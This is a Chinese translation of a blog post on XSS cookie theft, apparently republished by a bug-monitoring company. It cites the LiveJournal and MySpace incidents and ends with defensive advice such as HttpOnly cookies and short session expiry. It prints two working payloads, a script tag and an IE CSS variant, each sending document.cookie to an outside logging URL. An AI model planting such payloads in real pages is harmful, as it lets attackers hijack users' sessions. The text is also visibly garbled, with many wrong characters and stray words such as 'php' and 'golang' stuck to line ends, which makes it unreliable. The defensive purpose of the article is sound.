译者按: 10 年前的博客彷佛有点老了,可是XSS 攻击的威胁依然还在,咱们不得不防。javascript
本文采用意译,版权归原做者全部php
窃取Cookie是很是简单的,所以不要轻易相信客户端所声明的身份。即使这个Cookie是在数秒以前验证过,那也未必是真的,尤为当你仅使用Cookie验证客户端的时候。css
2006 年 1 月,LiveJournal遭到了XSS攻击,这个事件足以警示咱们。还有,2006 年 10 月,MySapce也遭到了XSS攻击,这告诉咱们必须很是谨慎地过滤用户发布的文本,由于黑客能够在文本中掺杂一些 JavaScript 代码,以此窃取登录用户的Cookie。html
正如黑客攻击LiveJournal那样,你不须要在登录用户的浏览器进行任何操做,而能够在第三方进行全部操做。更糟糕的是,窃取Cookie事实上操做起来很是简单,可是防范起来却很是困难。java
下面的的 JavaScript 代码就能够窃取Cookie,是否是很简单?git
<script> new Image().src = "http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie); </script>
若是我能够将这段代码插入到某个登录用户的页面,则Cookie就会经过 HTTP 请求发送给我,而后我就能够伪造那个可怜的登录用户了!github
在 IE 浏览器上,能够经过在 CSS 代码中执行 JavaScript 来窃取Cookie,也很简单。golang
<style> .getcookies{ background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);'); } </style> <p class="getcookies"></p>
若是你对用户发布的文本内容不进行严格的过滤的话,黑客就能够很方便地窃取Cookie。是否是很可怕?若是你是一个负责任的开发者的话,你就应该保持警戒!所以,你必须假设全部用户的Cookie都被窃取了。注意,是全部用户,对于这一点,我不想含糊其辞。web
为了保证安全:请不停地重设session的重设;将过时时间设置短一些;监控referrer与userAgent的值;使用HttpOnly禁止脚本读取Cookie。这些措施并不是万无一失,可是增长了黑客的难度,所以也是有效的。小程序
若是你对MySapce遭到的XSS攻击不了解,能够查看黑客本人公开的技术细节,颇有趣,不过切勿模仿,由于他为本身的行为此付出了不小的代价:三年内被禁止使用电脑!。
Fundebug专一于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java线上应用实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了10亿+错误事件,付费客户有Google、360、金山软件、百姓网等众多品牌企业。欢迎你们免费试用!
转载时请注明做者Fundebug以及本文地址:
https://blog.fundebug.com/2017/08/16/xss_steal_cookie/